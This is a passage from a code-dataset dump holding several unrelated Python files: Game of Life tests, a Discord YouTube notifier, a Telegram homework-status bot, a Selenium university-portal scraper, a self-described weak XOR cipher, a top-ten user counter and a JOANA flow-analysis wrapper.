printtext)\r\n self.assertIn('Step', printtext)\r\n self.assertIn(empty_field, printtext)\r\n self.GoL.setField(row = 0, column = 0, value = 1)\r\n printtext = str(self.GoL)\r\n self.assertIn('X', printtext)\r\n \r\n def test_WeCanStepTheGoL(self):\r\n self.GoL.step()\r\n \r\n def test_StepCountIncreases(self):\r\n StepCount = self.GoL.getStep()\r\n self.GoL.step()\r\n self.assertTrue(StepCount + 1 == self.GoL.getStep())\r\n \r\n def test_WeCanSetGetFields(self):\r\n self.GoL.setField(row = 2, column = 0, value = 1)\r\n self.assertTrue(self.GoL.getField(2, 0) == 1)\r\n \r\n def test_WeCanGetLiveNeighbours(self):\r\n self.GoL.setField(row = 0, column = 0, value = 1)\r\n self.GoL.setField(row = 1, column = 0, value = 1)\r\n self.GoL.setField(row = 0, column = 1, value = 1)\r\n self.assertEqual(self.GoL.getLiveNeighbours(0,0), 2)\r\n self.assertEqual(self.GoL.getLiveNeighbours(1,1), 3)\r\n self.assertEqual(self.GoL.getLiveNeighbours(0,2), 1)\r\n self.assertEqual(self.GoL.getLiveNeighbours(5,5), 0)\r\n self.assertEqual(self.GoL.getLiveNeighbours(0,9), 0)\r\n \r\n def test_WeCanCountLiveCells(self):\r\n self.GoL.setField(row = 0, column = 0, value = 1)\r\n self.assertEqual(self.GoL.getLiveCells(), 1)\r\n self.GoL.setField(row = 1, column = 0, value = 1)\r\n self.assertEqual(self.GoL.getLiveCells(), 2)\r\n self.GoL.setField(row = 0, column = 1, value = 1)\r\n self.assertEqual(self.GoL.getLiveCells(), 3)\r\n \r\n def test_singleCellDiesInOneStep(self):\r\n self.GoL.setField(row = 0, column = 0, value = 1)\r\n self.GoL.step()\r\n self.assertEqual(self.GoL.getLiveCells(), 0)\r\n self.GoL.setField(row = 0, column = 0, value = 1)\r\n self.GoL.setField(row = 5, column = 5, value = 1)\r\n self.GoL.step()\r\n self.assertEqual(self.GoL.getLiveCells(), 0)\r\n \r\n def test_SquareStaysAlive(self):\r\n self.GoL.setField(row = 0, column = 0, value = 1)\r\n self.GoL.setField(row = 1, column = 0, value = 1)\r\n self.GoL.setField(row = 0, column = 1, value = 1)\r\n self.GoL.setField(row = 1, column = 1, value = 1)\r\n self.assertEqual(self.GoL.getLiveCells(), 4)\r\n self.GoL.step()\r\n self.assertEqual(self.GoL.getLiveCells(), 4)\r\n self.assertTrue(self.GoL.getField(0, 0) == 1)\r\n self.assertTrue(self.GoL.getField(1, 0) == 1)\r\n self.assertTrue(self.GoL.getField(0, 1) == 1)\r\n self.assertTrue(self.GoL.getField(1, 1) == 1)\r\n \r\n ","repo_name":"xavor92/GoL","sub_path":"GoL/test/test_GoL.py","file_name":"test_GoL.py","file_ext":"py","file_size_in_byte":3532,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"} +{"seq_id":"39966012279","text":"import os\nimport random\nimport logging\nimport asyncio\nimport aiohttp\nimport discord\nimport traceback\nfrom utils.emoji import Emo\nfrom typing import Optional\nfrom itertools import islice\nfrom deta import base, Updater\nfrom discord.ext import commands, tasks\n\n\nclass Notifier(commands.Cog):\n\n def __init__(self, bot: commands.Bot):\n self.bot = bot\n self.retry_bucket = []\n self.error_logger = None\n self.base: base.Base = bot.db # noqa\n self.api_root = os.getenv('API_ROOT')\n self.session: Optional[aiohttp.ClientSession] = None\n self.feed_checker.start()\n \n @staticmethod\n async def create_ping(guild: discord.guild, cache: dict) -> Optional[str]:\n role_id = cache[str(guild.id)].get('PINGROLE')\n if not (role_id and role_id.isdigit()):\n return\n role = guild.get_role(int(role_id))\n if not role:\n return\n if role == guild.default_role:\n return '@everyone'\n return role.mention\n \n @staticmethod\n async def create_receiver(guild: discord.Guild, youtube_id: str, cache: dict) -> Optional[discord.TextChannel]:\n try:\n receiver_id = cache[str(guild.id)]['CHANNELS'][youtube_id]['receiver']\n except KeyError:\n return\n else:\n if not (receiver_id and receiver_id.isdigit()):\n return\n return guild.get_channel(int(receiver_id))\n\n async def custom_message(\n self,\n guild: discord.Guild,\n channel_name: str,\n video_url: str,\n cache: dict\n ) -> Optional[str]:\n ping = await self.create_ping(guild, cache)\n scopes = {\n '[ping]': ping if ping else '',\n '[name]': channel_name,\n '[url]': video_url\n }\n data = cache[str(guild.id)].get('CUSTOM')\n if data and data.get(\"youtube\"):\n text = data['youtube']\n if '[url]' not in text:\n text += f'\\n{video_url}'\n for key, value in scopes.items():\n text = text.replace(key, value)\n return text\n return None\n\n @staticmethod\n async def log_exception(channel: discord.TextChannel, guild: discord.Guild, error: Exception):\n stack = traceback.format_exception(type(error), error, error.__traceback__)\n tb = ''.join(stack)\n await channel.send(embed=discord.Embed(\n title=f'{Emo.WARN} exception occurred during Task {Emo.WARN}',\n description=f'**Guild: {guild.name} | ID: {guild.id}**\\n```py\\n{tb}\\n```'))\n\n async def on_feed_data(self, data: dict, cache: dict, guild: discord.Guild, proces_id: int):\n channel_name = data['channel_name']\n channel_id = data['channel_id']\n video_id = data['video_id']\n video_url = data['video_url']\n published_timestamp = int(data['video_published'])\n old_video_id = cache[str(guild.id)]['CHANNELS'][channel_id].get('recent', '')\n last_published_timestamp = int(cache[str(guild.id)]['CHANNELS'][channel_id].get('last_published', 0))\n if video_id == old_video_id:\n return\n if not (published_timestamp > last_published_timestamp):\n return\n subs = cache[str(guild.id)]['CHANNELS']\n subs[channel_id]['recent'] = video_id\n subs[channel_id]['last_published'] = data['video_published']\n try:\n updater = Updater()\n updater.set(f'CHANNELS.{channel_id}.recent', video_id)\n updater.set(f'CHANNELS.{channel_id}.last_published', data['video_published'])\n await self.base.update(str(guild.id), updater)\n except Exception as e:\n await self.log_exception(self.error_logger, guild, e)\n else:\n logging.info(f' [modf: {proces_id}] {guild.id} {channel_id}')\n content = await self.custom_message(guild, channel_name, video_url, cache)\n mention = await self.create_ping(guild, cache) or ''\n receiver = await self.create_receiver(guild, channel_id, cache)\n if not receiver:\n return\n if not content:\n content = (\n f'> {Emo.YT} **{channel_name}** has a new content {mention}\\n'\n f'> Go check it out! {video_url}'\n )\n try:\n await asyncio.sleep(random.randint(1, 10))\n await receiver.send(content)\n except Exception as e:\n if not (isinstance(e, discord.errors.Forbidden) or isinstance(e, discord.errors.NotFound)):\n await self.log_exception(self.error_logger, guild, e)\n else:\n logging.info(f' [sent: {proces_id}] {guild.id} {channel_id}')\n\n def subscription_groups(self, records: dict, length: int = 10) -> list:\n guilds = self.bot.guilds\n valid_records = [\n (records[str(guild.id)], guild)\n for guild in guilds if records.get(str(guild.id))\n ]\n valid_subs = [\n (guild, data['CHANNELS'])\n for data, guild in valid_records if data.get('CHANNELS')\n ]\n subs = [(channel_id, guild) for guild, subs in valid_subs for channel_id in subs]\n return [list(islice(subs, i, i + length)) for i in range(0, len(subs), length)]\n\n async def check_subscription(\n self,\n shard_id: int,\n channel_id: str,\n guild: discord.Guild,\n cache: dict\n ) -> None:\n await asyncio.sleep(random.randint(1, 30))\n resp = await self.session.get(self.api_root.format(shard_id+1) + f'/feed/{channel_id}')\n if resp.status != 200:\n logging.info(f' [fail: {shard_id}] {guild.id} {channel_id} <{resp.status}>')\n if not resp.status == 429:\n return\n await asyncio.sleep(random.randint(10, 30))\n return await self.check_subscription(shard_id+1, channel_id, guild, cache)\n else:\n data = await resp.json()\n data['channel_id'] = channel_id\n logging.info(f' [scan: {shard_id}] {guild.id} {channel_id}')\n return await self.on_feed_data(data, cache, guild, shard_id)\n\n async def check_subs_group(self, group: list, cache: dict):\n for i, (channel_id, guild) in enumerate(group):\n self.bot.loop.create_task(self.check_subscription(i, channel_id, guild, cache))\n\n async def inspect_groups(self, groups: list, cache: dict):\n for group in groups:\n await self.check_subs_group(group, cache)\n\n @tasks.loop(minutes=10)\n async def feed_checker(self):\n records = await self.base.fetch_all()\n data = {record.pop('key'): record for record in records}\n groups = self.subscription_groups(data)\n await self.inspect_groups(groups, data)\n \n @feed_checker.before_loop\n async def before_start(self):\n await self.bot.wait_until_ready()\n chan_id = os.getenv('LOG_CHANNEL_ID')\n if chan_id and chan_id.isdigit():\n self.error_logger = self.bot.get_channel(int(chan_id))\n else:\n logging.warning(' {LOG_CHANNEL_ID} is not set in env. In-server logging will not work.')\n if not self.api_root:\n logging.warning(' {API_ROOT} is not set in env. Can not proceed further.')\n self.feed_checker.stop()\n return\n self.session = aiohttp.ClientSession()\n\n @feed_checker.after_loop\n async def after_stop(self):\n await self.session.close()\n \n\nasync def setup(bot: commands.Bot):\n await bot.add_cog(Notifier(bot))\n","repo_name":"jnsougata/pixel","sub_path":"cogs/notify.py","file_name":"notify.py","file_ext":"py","file_size_in_byte":7659,"program_lang":"python","lang":"en","doc_type":"code","stars":17,"dataset":"github-code","pt":"68"} +{"seq_id":"43052577463","text":"import telegram\nimport os\nimport sys\nimport logging\nimport requests\nimport time\nfrom json.decoder import JSONDecodeError\nfrom dotenv import load_dotenv\nfrom http import HTTPStatus\nfrom exceptions import RequestAPIError, JSONError\n\n\nload_dotenv()\n\nPRACTICUM_TOKEN = os.getenv(\"PRACTICUM_TOKEN\")\nTELEGRAM_TOKEN = os.getenv(\"TELEGRAM_TOKEN\")\nTELEGRAM_CHAT_ID = os.getenv(\"TELEGRAM_CHAT_ID\")\n\nRETRY_PERIOD = 600\nENDPOINT = \"https://practicum.yandex.ru/api/user_api/homework_statuses/\"\nHEADERS = {\"Authorization\": f\"OAuth {PRACTICUM_TOKEN}\"}\n\n\nHOMEWORK_VERDICTS = {\n \"approved\": \"Работа проверена: ревьюеру всё понравилось. Ура!\",\n \"reviewing\": \"Работа взята на проверку ревьюером.\",\n \"rejected\": \"Работа проверена: у ревьюера есть замечания.\",\n}\n\nFIRST_STATUS_REQUEST_LAST_SECONDS = 5\n\n\ndef check_tokens():\n \"\"\"Проверяет доступность переменных окружения.\"\"\"\n return all([TELEGRAM_TOKEN, PRACTICUM_TOKEN, TELEGRAM_CHAT_ID])\n\n\ndef send_message(bot, message):\n \"\"\"Отправляет сообщение в чат.\"\"\"\n try:\n bot.send_message(chat_id=TELEGRAM_CHAT_ID, text=message)\n except Exception as error:\n logging.error(f\"Сообщение не отправлено!: {error}\")\n else:\n logging.debug(\"Сообщение отправлено\")\n\n\ndef get_api_answer(timestamp):\n \"\"\"Отправляет запрос о статусе домашней работы.\"\"\"\n params_request = {\n \"url\": ENDPOINT,\n \"headers\": HEADERS,\n \"params\": {\"from_date\": timestamp},\n }\n try:\n homework_status = requests.get(**params_request)\n except requests.exceptions.RequestException as error:\n raise RequestAPIError(f\"Ошибка при запросе к основному API: {error}\")\n\n if homework_status.status_code != HTTPStatus.OK:\n raise requests.HTTPError(\"Статус страницы != 200 \")\n try:\n homework_json = homework_status.json()\n except JSONDecodeError as error:\n raise JSONError(f\"Ошибка при декодировании JSON: {error}\")\n return homework_json\n\n\ndef check_response(response):\n \"\"\"Проверяет ответ.\"\"\"\n logging.debug(\"Проверка ответа\")\n if not isinstance(response, dict):\n raise TypeError(\"Ошибка в типе ответа API\")\n homeworks = response.get(\"homeworks\")\n if homeworks is None:\n raise KeyError(\"В ответе API отсутствует ключ homework\")\n if not isinstance(homeworks, list):\n raise TypeError(\"Homework не является списком\")\n return homeworks\n\n\ndef parse_status(homework):\n \"\"\"Проверяет статус работы.\"\"\"\n if \"homework_name\" not in homework:\n raise KeyError(\"В ответе отсутсвует ключ\")\n homework_name = homework.get(\"homework_name\")\n homework_status = homework.get(\"status\")\n if homework_status not in HOMEWORK_VERDICTS:\n raise ValueError(f\"Неизвестный статус работы - {homework_status}\")\n verdict = HOMEWORK_VERDICTS[homework_status]\n return f'Изменился статус проверки работы \"{homework_name}\" {verdict}'\n\n\ndef main():\n \"\"\"Основная логика работы бота.\"\"\"\n if not check_tokens():\n message = \"Отсутствует переменная\"\n logging.critical(message)\n sys.exit(message)\n bot = telegram.Bot(token=TELEGRAM_TOKEN)\n timestamp = int(time.time()) - FIRST_STATUS_REQUEST_LAST_SECONDS\n previous_message = \"\"\n\n while True:\n try:\n response = get_api_answer(timestamp)\n homeworks = check_response(response)\n if homeworks:\n send_message(bot, parse_status(homeworks[0]))\n timestamp = response.get(\"current_date\", int(time.time()))\n except Exception as error:\n message = f\"Сбой в работе программы: {error}\"\n logging.error(message)\n if message != previous_message:\n send_message(bot, message)\n previous_message = message\n else:\n previous_message = \"\"\n\n finally:\n time.sleep(RETRY_PERIOD)\n\n\nif __name__ == \"__main__\":\n logging.basicConfig(\n level=logging.INFO,\n format=\"%(asctime)s, %(levelname)s, %(message)s\",\n handlers=[\n logging.FileHandler(\"log.txt\"),\n logging.StreamHandler(sys.stdout),\n ],\n )\n main()\n","repo_name":"Gennady-Umikashvili/homework_bot","sub_path":"homework.py","file_name":"homework.py","file_ext":"py","file_size_in_byte":4687,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"} +{"seq_id":"34721381148","text":"import time, tomli\nfrom selenium import webdriver\nfrom selenium.webdriver.common.by import By\nfrom selenium.webdriver.support.ui import WebDriverWait\nfrom selenium.webdriver.support import expected_conditions as EC\nfrom selenium.common.exceptions import TimeoutException\n\nclass CCAPI:\n def __init__(self):\n self.timeout = 10\n self.driver = self.__login()\n\n def __login(self):\n options = webdriver.ChromeOptions()\n options.add_argument(\"--incognito\")\n driver = webdriver.Chrome(options=options)\n driver.set_page_load_timeout(10)\n\n driver.get(\"https://connectcarolina.unc.edu/\")\n login_button = driver.find_element(By.CLASS_NAME, \"loginbutton\")\n login_link = login_button.get_attribute('href')\n\n driver.get(login_link)\n\n with open(\"onyen-creds.toml\", 'rb') as f:\n credentials = tomli.load(f)[\"credentials\"]\n username, password = credentials[\"username\"], credentials[\"password\"]\n\n _ = driver.implicitly_wait(self.timeout)\n\n sso_form = driver.find_element(By.CLASS_NAME, \"sso-form\")\n username_input = driver.find_element(By.ID, \"username\")\n password_input = driver.find_element(By.ID, \"password\")\n login_button = sso_form.find_elements(By.CLASS_NAME, \"form-group\")[3].find_element(By.TAG_NAME, \"button\")\n\n username_input.send_keys(username)\n password_input.send_keys(password)\n login_button.click()\n\n return driver\n\n def get_advisor(self):\n try:\n advisor_element = WebDriverWait(self.driver, self.timeout).until(EC.presence_of_element_located((By.ID, \"NC_CS_enr_tile_boxmiddleright\")))\n except TimeoutException:\n print(\"Timeout loading CC.\")\n\n\n advisor = advisor_element.find_element(By.TAG_NAME, \"a\")\n advisor_name = advisor.get_attribute(\"innerHTML\").strip()\n advisor_email = advisor.get_attribute(\"href\")[7:].strip().lower()\n\n advisor_info = {\n \"name\": advisor_name,\n \"email\": advisor_email\n }\n\n return advisor_info\n\n def __go_to_student_center(self):\n student_center_button = self.driver.find_element(By.ID, \"PTNUI_LAND_REC14$0_row_3\")\n student_center_button.click()\n iframe = self.driver.find_element(By.ID, \"ptifrmtgtframe\")\n iframe_link = iframe.get_attribute(\"src\")\n self.driver.get(iframe_link)\n\n def __go_to_search(self):\n self.__go_to_student_center()\n search_page_button = self.driver.find_element(By.ID, \"DERIVED_SSS_SCR_SSS_LINK_ANCHOR1\")\n search_page_button.click()\n \n def class_search(self, query):\n self.__go_to_search()\n\n dept, number = query[\"dept\"], query[\"number\"]\n dept_input = self.driver.find_element(By.ID, \"SSR_CLSRCH_WRK_SUBJECT$0\")\n number_input = self.driver.find_element(By.ID, \"SSR_CLSRCH_WRK_CATALOG_NBR$1\")\n dept_input.send_keys(dept)\n # number_input.send_keys(number)\n\n while True:\n try:\n search_button = self.driver.find_element(By.ID, \"CLASS_SRCH_WRK2_SSR_PB_CLASS_SRCH\")\n search_button.click()\n break\n except Exception as e:\n print(e)\n\n results_table = self.driver.find_element(By.ID, \"ACE_$ICField$3$$0\")\n section_trs = results_table.find_elements(By.TAG_NAME, \"tr\")[1:]\n\n results = []\n\n for section_tr in section_trs:\n\n course = []\n section_tables = section_tr.find_elements(By.CLASS_NAME, \"PSLEVEL1GRIDNBONBO\")\n for section_table in section_tables:\n\n section = {}\n heading_row, data_row = section_table.find_elements(By.TAG_NAME, \"tr\")\n headings, datas = [], []\n\n for heading in heading_row.find_elements(By.TAG_NAME, \"th\"):\n headings.append(heading.text)\n for data in data_row.find_elements(By.TAG_NAME, \"td\"):\n datas.append(data.text)\n for heading, data in zip(headings, datas):\n section[heading] = data\n \n course.append(section)\n results.append(course)\n return results\n\n\n\n def get_course_schedule(self):\n self.__go_to_student_center()\n try:\n outer_table = self.driver.find_element(By.ID, \"STDNT_WEEK_SCHD$scroll$0\")\n inner_table = outer_table.find_element(By.TAG_NAME, \"table\")\n rows = inner_table.find_elements(By.TAG_NAME, \"tr\")[1:]\n\n schedule = []\n\n for row in rows:\n course = {}\n for i, td in enumerate(row.find_elements(By.TAG_NAME, \"td\")):\n if i == 0:\n course_string, section_string = [x.strip() for x in td.text.split(\"\\n\")]\n\n dept, num_string = [x.strip() for x in course_string.split(' ')]\n course_number, section_number = [x.strip() for x in num_string.split('-')]\n course[\"dept\"], course[\"number\"], course[\"section\"] = dept, course_number, section_number\n\n course_type, dirty_id = section_string.split(' ')\n course_id = dirty_id[1:-1]\n course[\"type\"], course[\"id\"] = course_type, course_id\n\n elif i == 1:\n datetime_string, location_string = [x.strip() for x in td.text.split(\"\\n\")]\n\n if datetime_string != \"TBA\":\n days_string, *time_string = datetime_string.split(' ')\n time_string = ' '.join(time_string)\n start_time, end_time = time_string.split(\" - \")\n when = {}\n when[\"days\"], when[\"start_time\"], when[\"end_time\"] = days_string, start_time, end_time\n course[\"when\"] = when\n \n if location_string != \"TBA\":\n *hall, room = location_string.split(\" - \")\n hall = \" - \".join(hall)\n where = {}\n where[\"hall\"], where[\"room\"] = hall, room\n course[\"where\"] = where\n\n\n schedule.append(course)\n\n return schedule \n\n except Exception as e:\n print(e)\n self.driver.quit()\n time.sleep(6000)","repo_name":"maxchristman/cc-api","sub_path":"CCAPI.py","file_name":"CCAPI.py","file_ext":"py","file_size_in_byte":6515,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"} +{"seq_id":"22686267350","text":"\"\"\"Simple Cipher.\n\nNotes:\n This cipher is vulnerable.\n Hard to edit with hex editors, but easy to decode for programers.\n\"\"\"\n\nKEY = list('F-JaNcRfUjXn2r5u8x/A?D(G+KbPeSgV'.encode())\n\n\ndef encrypt(string):\n \"\"\"Encrypt a string.\"\"\"\n if len(string) == 0:\n return b''\n str_int = list(string.encode())\n encrypted = []\n key = (KEY * (len(str_int) // len(KEY) + 1))[:len(str_int)]\n i_2 = 0\n for i, k in zip(str_int, key):\n j = i ^ i_2 ^ k\n encrypted.append(j.to_bytes(1, 'big'))\n i_2 = j\n\n encrypted = b''.join(encrypted)\n return encrypted\n\n\ndef decrypt(binary):\n \"\"\"Decrypt binary data.\"\"\"\n if len(binary) == 0:\n return ''\n decrypted = []\n bin_int = list(binary)\n\n bin_int.reverse()\n key = (KEY * (len(bin_int) // len(KEY) + 1))[:len(bin_int)]\n key.reverse()\n i_2 = bin_int[0]\n for i, k in zip(bin_int[1:], key):\n j = i ^ i_2 ^ k\n decrypted.append(j.to_bytes(1, 'big'))\n i_2 = i\n decrypted.append((i_2 ^ key[-1]).to_bytes(1, 'big'))\n decrypted.reverse()\n decrypted = b''.join(decrypted)\n return decrypted.decode()\n","repo_name":"matyalatte/Blender-Uasset-Addon","sub_path":"addons/blender_uasset_addon/util/cipher.py","file_name":"cipher.py","file_ext":"py","file_size_in_byte":1136,"program_lang":"python","lang":"en","doc_type":"code","stars":31,"dataset":"github-code","pt":"68"} +{"seq_id":"1534444962","text":"import heapq\r\n\r\n\r\nclass Solution:\r\n # 总的时间复杂度O(nlogn)\r\n def print_top_ten_user(self, file_name: str):\r\n # 读取数据\r\n try:\r\n with open(file_name, \"r\") as f:\r\n data = f.readlines()\r\n # 去除列头\r\n lines = data[1:]\r\n except:\r\n print(\"读取文件发生错误,请检查文件名\")\r\n return\r\n\r\n # 定义map\r\n user_map = {}\r\n\r\n try:\r\n # 规则化,并构造hashmap\r\n # 时间复杂度 O(N)\r\n for line in lines:\r\n # 去除末尾的换行符\r\n line = line.strip()\r\n # 获得user(不需要知道文章)\r\n user, _ = line.split(\",\")\r\n # 构造map\r\n if user in user_map.keys():\r\n user_map.update({user: user_map[user] + 1})\r\n else:\r\n user_map.update({user: 1})\r\n\r\n # map转list,用于后续构造堆\r\n user_list = list(user_map.items())\r\n\r\n # 构造大顶堆,获取最大的十个元素,并指定排序的key为文章数量\r\n # 时间复杂度O(nlogn)\r\n top_ten = heapq.nlargest(10, user_list, key=lambda x: x[1])\r\n\r\n # 输出\r\n print(top_ten)\r\n except:\r\n print(\"处理过程中发生错误,请检查数据格式是否正确\")\r\n\r\n\r\nsol = Solution()\r\nsol.print_top_ten_user(\"bbs.txt\")\r\n# 使用给出的样例txt,获取到的示例输出\r\n# [('A', 6), ('B', 3), ('C', 3), ('E', 2), ('D', 2), ('F', 1), ('G', 1), ('H', 1), ('I', 1), ('J', 1)]\r\n","repo_name":"chenwenhang/AlgorithmPractice","sub_path":"src/stack_and_queue/top_ten_user.py","file_name":"top_ten_user.py","file_ext":"py","file_size_in_byte":1665,"program_lang":"python","lang":"zh","doc_type":"code","stars":5,"dataset":"github-code","pt":"68"} +{"seq_id":"40804143716","text":"\"\"\"\nBasic JOANA tool API using the scripts from ``tools/joana``\n\"\"\"\nimport functools\nimport json\nimport logging\nimport multiprocessing\nimport os\nimport shutil\nimport subprocess\nimport sys\nimport tempfile\nfrom enum import Enum\nfrom pathlib import Path\n\nimport yaml\nfrom typing import Dict, Any, List, NamedTuple, Optional, Set, Iterable, Tuple\n\nfrom util import Config, pprint, get_config, abs_path\n\n\nclass JoanaFlow(NamedTuple):\n \"\"\" A single flow \"\"\"\n source: str\n sink: str\n\n\nclass JoanaToolResult(NamedTuple):\n \"\"\" The results of the analysis \"\"\"\n flow: str\n possible_sources: Set[str]\n possible_sinks: Set[str]\n flows: List[JoanaFlow]\n\n @classmethod\n def create(cls, flow: str, possible_sources: Iterable[str], possible_sinks: Iterable[str],\n flows: List[JoanaFlow]) -> 'JoanaToolResult':\n return JoanaToolResult(flow, set(possible_sources), set(possible_sinks),\n flows)\n\n @property\n def reached_sinks(self) -> Set[str]:\n return {f.sink for f in self.flows}\n\n @property\n def unreached_sinks(self) -> Set[str]:\n return self.possible_sinks - self.reached_sinks\n\n def to_dict(self) -> dict:\n return {\"flow\": self.flow, \"possible_sources\": list(self.possible_sources), \"possible_sinks\": list(self.possible_sinks),\n \"flows\": [[f.source, f.sink] for f in self.flows]}\n\n @classmethod\n def from_dict(cls, d: dict) -> 'JoanaToolResult':\n return cls.create(d[\"flow\"], d[\"possible_sources\"], d[\"possible_sinks\"], [JoanaFlow(*l) for l in d[\"flows\"]])\n\n @property\n def source(self) -> str:\n assert len(self.possible_sources) == 1\n return next(iter(self.possible_sources))\n\n\nclass JoanaToolResults(NamedTuple):\n\n results: Dict[str, JoanaToolResult]\n\n @classmethod\n def from_dict(cls, d: Dict[str, dict]) -> 'JoanaToolResults':\n return JoanaToolResults({flow: JoanaToolResult.from_dict(sub) for flow, sub in d.items()})\n\n def to_dict(self) -> Dict[str, dict]:\n return {flow: result.to_dict() for flow, result in self.results.items()}\n\n def update(self, other: 'JoanaToolResults'):\n self.results.update(other.results)\n\n\nclass UninitializedMode(Enum):\n \"\"\"\n Different modes for handling uninitialized fields, use ALL if possible (might use 90 GB and several hours per raw\n tag), use the other modes just for testing.\n \"\"\"\n\n MINIMAL = \".*Ledu.*\"\n BASIC = \"({}|.*Ljava.*)\".format(MINIMAL)\n ALL = \".*\"\n\n\nclass JoanaTool:\n \"\"\"\n Runs the Joana tool chain using the scripts from\n the ``tools/joana`` folder.\n \"\"\"\n\n def __init__(self, svi_base_folder: Path, src_gen_folder: Path, build_folder: Path = None,\n clean_build_folder: bool = None, log_commands: bool = False, flow_folder: Path = None,\n use_old_flows: bool = False, unmode: Optional[UninitializedMode] = None):\n self.svi_base_folder = svi_base_folder\n self.build_folder = build_folder # type: Optional[Path]\n self.src_gen_folder = src_gen_folder\n self.is_build_folder_tmp = False\n self.clean_build_folder = clean_build_folder\n self.log_commands = log_commands\n self.flow_folder = flow_folder\n self.use_old_flows = use_old_flows\n if not clean_build_folder:\n self.clean_build_folder = bool(build_folder)\n self.unmode = unmode\n\n def setup(self, src_gen_folder: Path):\n if not self.build_folder:\n self.build_folder = Path(tempfile.mkdtemp())\n self.is_build_folder_tmp = True\n elif self.clean_build_folder:\n self._remove_build_folder()\n if self.clean_build_folder or self.is_build_folder_tmp or not self.build_folder.exists():\n self._execute_tool(\"build_pcc\", src_gen_folder, self.build_folder)\n self.is_build_folder_tmp = True\n if self.flow_folder:\n self.flow_folder.mkdir(exist_ok=True)\n\n @functools.lru_cache()\n def raw_tags(self) -> List[str]:\n \"\"\"\n :return: all raw entry point tags\n \"\"\"\n return [l.split(\":\")[0] for l in self._exec_joana(\"entry listAnnotated\").split(\"\\n\")]\n\n def entry_per_tag(self, tag: str) -> Optional[str]:\n return ([l.split(\":\")[1] for l in self._exec_joana(\"entry listAnnotated\").split(\"\\n\") if\n l.split(\":\")[0].startswith(tag)] + [None])[0]\n\n @functools.lru_cache()\n def flows(self) -> Set[str]:\n \"\"\"\n :return: flow tags\n \"\"\"\n return {t.split(\"#\")[0] for t in self.raw_tags()}\n\n def raw_tags_per_flow(self, flow: str) -> List[str]:\n return [t for t in self.raw_tags() if t.startswith(flow + \"#\")]\n\n @functools.lru_cache()\n def annotated_sources(self, flow: str) -> Set[str]:\n \"\"\" :return ids of the annotated sources \"\"\"\n return {t.split(\"#\")[1] for t in self.raw_tags_per_flow(flow)}\n\n @functools.lru_cache()\n def annotated_sinks(self, flow: str) -> Set[str]:\n \"\"\" :return ids of the annotated sinks \"\"\"\n return {t.split(\"#\")[2] for t in self.raw_tags_per_flow(flow)}\n\n def _exec_joana(self, cmd: str) -> str:\n _cmd = [\"sh\", str(self.svi_base_folder / \"tools/joana/joana_pcc_raw\"), str(self.build_folder), \"-i\"]\n if self.log_commands:\n print(\" \".join(\"'{}'\".format(c) for c in _cmd) + f\" < '{cmd}\\\\n'\")\n env = os.environ.copy()\n if self.unmode:\n env[\"JOANA_UNINITIALIZED\"] = self.unmode.value\n return subprocess.check_output(_cmd, cwd=self.svi_base_folder, input=(cmd + \"\\n\").encode(),\n stderr=subprocess.STDOUT,\n env=env).decode().replace(\"joana> \", \"\").strip()\n\n @functools.lru_cache(maxsize=None)\n def analyze_flows(self, flow_tags: Tuple[str] = None, threads: int = None) -> JoanaToolResults:\n flows = self._analyze_raw_flows(tuple([r for f in flow_tags for r in self.raw_tags_per_flow(f)]\n if flow_tags else self.raw_tags()), threads)\n grouped = {} # type: Dict[str, List[JoanaFlow]]\n for raw_tag in self.raw_tags():\n flow, source, sink = raw_tag.split(\"#\")\n if flow not in grouped:\n grouped[flow] = []\n if raw_tag in flows:\n grouped[flow].append(flows[raw_tag])\n return JoanaToolResults({flow: JoanaToolResult.create(flow, self.annotated_sources(flow), self.annotated_sinks(flow), jflows) for\n flow, jflows in grouped.items()})\n\n def partial_load_flows(self, reevaluated_flows: Iterable[str]) -> JoanaToolResults:\n \"\"\"\n Load the tool results from src_gen_folder / flows.json. But reevalute the passed flows.\n \"\"\"\n res = self.load_flows()\n res.update(self.analyze_flows(tuple(reevaluated_flows)))\n self._store_flow_results(res)\n return res\n\n def store_flows(self, filename: Optional[Path] = None, threads: int = None):\n \"\"\"\n Compute the flows and store them (doesn't recompute the flows if they are already computed)\n\n :param filename: if None: store in src_gen_folder/flows.json\n \"\"\"\n self._store_flow_results(self.analyze_flows(threads), filename)\n\n def _store_flow_results(self, res: JoanaToolResults, filename: Optional[Path] = None):\n with (filename or self.src_gen_folder / \"flows.json\").open(\"w\") as f:\n json.dump(res.to_dict(), f, indent=2)\n\n def load_flows(self) -> JoanaToolResults:\n \"\"\"\n Load the tool results from src_gen_folder / flows.json. Does not need to be called in a `with` block.\n \"\"\"\n with (self.src_gen_folder / \"flows.json\").open() as f:\n return JoanaToolResults.from_dict(json.load(f))\n\n def is_flow_file_present(self) -> bool:\n print((self.src_gen_folder / \"flows.json\").absolute())\n return (self.src_gen_folder / \"flows.json\").exists()\n\n @functools.lru_cache(maxsize=None)\n def analyze_flow(self, flow: str, threads: int = None) -> JoanaToolResult:\n flows = self._analyze_raw_flows(tuple(self.raw_tags_per_flow(flow)), threads)\n return JoanaToolResult.create(flow, self.annotated_sources(flow), self.annotated_sinks(flow),\n list(flows.values()))\n\n @functools.lru_cache(maxsize=None)\n def _analyze_raw_flows(self, raw_tags: Tuple[str], threads: int = None) -> Dict[str, JoanaFlow]:\n res = []\n if not threads:\n threads = min(max( # assumes that one computation requires around 90 GiB\n int(int(subprocess.check_output(\"free --mega |awk '/^Mem:/{print $7}'\", shell=True)) / 1024 / 90), 1),\n len(raw_tags))\n if threads == 1:\n res = [self._analyze_raw_flow(t) for t in raw_tags]\n else:\n with multiprocessing.Pool(threads) as p:\n res = p.map(self._analyze_raw_flow, raw_tags)\n return {raw_tag: res[i] for i, raw_tag in enumerate(raw_tags) if res[i]}\n\n def _analyze_raw_flow(self, raw_tag: str) -> Optional[JoanaFlow]:\n output = None\n filename = None\n if self.flow_folder:\n filename = self.flow_folder / raw_tag\n if self.use_old_flows and filename.exists():\n output = filename.read_bytes().decode()\n else:\n output = self._execute_joana_pcc(raw_tag)\n if self.flow_folder:\n filename.write_text(output)\n pprint(output)\n if len(output.strip()) == 0:\n return\n res = yaml.safe_load(output)\n if bool(res[\"found_flows\"]):\n assert len(res[\"flow\"]) == 1\n return JoanaFlow(*raw_tag.split(\"#\")[1:])\n\n def _execute_joana_pcc(self, raw_tag: str) -> str:\n res = 